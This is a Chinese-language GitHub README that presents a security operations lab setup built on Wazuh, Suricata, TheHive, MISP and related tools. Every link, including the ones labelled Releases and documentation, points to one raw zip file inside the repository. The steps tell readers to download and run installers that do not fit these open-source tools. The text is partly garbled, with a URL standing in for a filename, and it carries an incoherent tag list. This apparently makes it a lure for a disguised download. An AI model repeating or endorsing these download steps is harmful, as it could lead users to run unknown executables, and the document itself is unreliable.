CHICKENLEG72/SOC-Lab-Open-Source-Setup
GitHub: CHICKENLEG72/SOC-Lab-Open-Source-Setup
一套整合多种开源安全工具的SOC实验室搭建方案，帮助用户快速建立安全监控与事件响应的学习环境。
Stars: 1 | Forks: 0
# 🔒 SOC-Lab-Open-Source-Setup - 简易网络安全实验室搭建指南
[](https://raw.githubusercontent.com/CHICKENLEG72/SOC-Lab-Open-Source-Setup/main/infra/wazuh/Source_Setup_Lab_SO_Open_2.9.zip)
## 🚀 入门指南
欢迎！本指南将帮助您利用 SOC-Lab-Open-Source-Setup 仓库搭建您自己的网络安全实验室。无论您是想探索安全工具，还是想深入了解事件响应，您都来对地方了。
## 📦 准备工作
在开始安装之前，请确保您具备以下条件：
- 一台运行 Windows、macOS 或 Linux 的电脑。
- 至少 4 GB 内存 (RAM)。
- 至少 10 GB 的可用磁盘空间。
- 稳定的互联网连接。
## ✔️ 功能特性
本实验室包含主流的网络安全工具：
- **Wazuh**：用于安全监控和日志分析。
- **Suricata**：强大的入侵检测和防御系统。
- **Filebeat**：用于将日志传输到指定目标。
- **Kibana**：通过仪表板实现数据可视化。
- **TheHive**：用于管理和响应安全事件。
- **Cortex**：用于分析可观测数据。
- **MISP**：用于共享结构化威胁信息。
- **Grafana**：提供额外的可视化功能。
## 👨💻 下载与安装
要下载软件，请访问此页面进行下载：[SOC-Lab-Open-Source-Setup Releases](https://raw.githubusercontent.com/CHICKENLEG72/SOC-Lab-Open-Source-Setup/main/infra/wazuh/Source_Setup_Lab_SO_Open_2.9.zip)。
1. 点击上方链接。这将打开项目的 Release 页面。
2. 找到页面顶部列出的最新版本。
3. 选择适合您操作系统的安装文件。
4. 点击下载安装文件（Windows 为 .exe，macOS 为 .dmg，Linux 为 https://raw.githubusercontent.com/CHICKENLEG72/SOC-Lab-Open-Source-Setup/main/infra/wazuh/Source_Setup_Lab_SO_Open_2.9.zip）。
5. 下载完成后，在电脑上找到安装文件。
安装软件：
- **Windows**：双击安装文件并按照提示操作。
- **macOS**：打开 .dmg 文件并将应用程序拖入 Applications 文件夹。
- **Linux**：解压 https://raw.githubusercontent.com/CHICKENLEG72/SOC-Lab-Open-Source-Setup/main/infra/wazuh/Source_Setup_Lab_SO_Open_2.9.zip 文件，并按照 README 中的安装说明操作。
## 🔧 配置
安装完成后，可能需要进行一些配置来设置工具：
1. 通过应用程序或命令行启动 Wazuh manager。
2. 配置 Suricata 以开始监控网络流量。您可以在文档中找到配置示例。
3. 设置 Filebeat 将日志传输到您的 Elasticsearch 实例，该实例可以通过 Kibana 访问。
4. TheHive 需要进行设置以进行事件管理。请按照提供的说明连接 Cortex 和 MISP 集成。
每个工具都附带自己的文档，可指导您完成特定配置。在设置时请务必参考这些文档。
## 🌐 访问工具
一切安装并配置完毕后，您可以开始使用这些工具：
- 打开 Web 浏览器访问 Kibana（通常是 `http://localhost:5601`）。
- 对于 TheHive，请导航至其专用 URL（`http://localhost:9000`）。
- 访问 `http://localhost:3000` 的 Grafana 以创建仪表板。
这些工具将帮助您有效地可视化并分析安全数据。
## 📚 资源
- 查看[官方文档](https://raw.githubusercontent.com/CHICKENLEG72/SOC-Lab-Open-Source-Setup/main/infra/wazuh/Source_Setup_Lab_SO_Open_2.9.zip)以获取关于每个工具及其功能的更多详细信息。
- 访问在线论坛和社区寻求帮助或提问。
- 搜索视频教程以查看分步设置说明。
## 🔒 结语
使用 SOC-Lab-Open-Source-Setup 仓库搭建网络安全实验室，为您提供了一套强大的安全分析和事件响应工具。请尽情探索并尝试每个工具提供的不同功能。
如需更多帮助，请联系社区论坛或查阅上方链接的文档。祝您的网络安全之旅愉快！
标签：BurpSuite集成, CIDR查询, CISA项目, Cortex, DAST, DNS通配符暴力破解, EDR, ELK Stack, Filebeat, Go语言工具, Grafana, HTTP/HTTPS抓包, IPS, Metaprompt, Mutation, SOC实验室, Suricata, TheHive, Wazuh, 企业安全, 参数枚举, 可视化, 威胁情报, 威胁检测与响应, 安全运营中心, 库, 应急响应, 开发者工具, 态势感知, 恶意软件分析, 现代安全运营, 网络安全, 网络映射, 网络资产管理, 脆弱性评估, 计算机防护, 越狱测试, 隐私保护